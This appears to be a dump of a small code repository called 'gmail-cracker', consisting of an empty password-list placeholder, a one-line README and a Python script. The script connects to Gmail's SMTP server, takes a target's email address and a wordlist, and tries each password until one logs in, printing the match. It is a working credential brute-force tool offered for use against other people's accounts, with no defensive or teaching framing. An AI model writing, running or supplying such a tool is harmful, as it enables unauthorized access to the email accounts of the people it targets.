├── pass.txt ├── README.md └── crack.py /pass.txt: -------------------------------------------------------------------------------- 1 | Put Your Passlist HEre! 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gmail-cracker 2 | Gmail Cracker Written In python By Parsa Alemi using smtplib 3 | -------------------------------------------------------------------------------- /crack.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | 3 | 4 | def main(): 5 | smtpserver = smtplib.SMTP("smtp.gmail.com", 587) 6 | smtpserver.ehlo() 7 | smtpserver.starttls() 8 | \ 9 | user = raw_input("Alpha : Enter the target's email address: ") 10 | passwfile = raw_input("Alpha : Enter the password file name: ") 11 | passwfile = open(passwfile, "r") 12 | 13 | for password in passwfile: 14 | try: 15 | smtpserver.login(user, password) 16 | print("Alpha : [+] Password Found: %s" % password) 17 | break 18 | except smtplib.SMTPAuthenticationError: 19 | print("Alpha : [!] Password Incorrect: %s" % password) 20 | 21 | if __name__ == "__main__": 22 | main() 23 | --------------------------------------------------------------------------------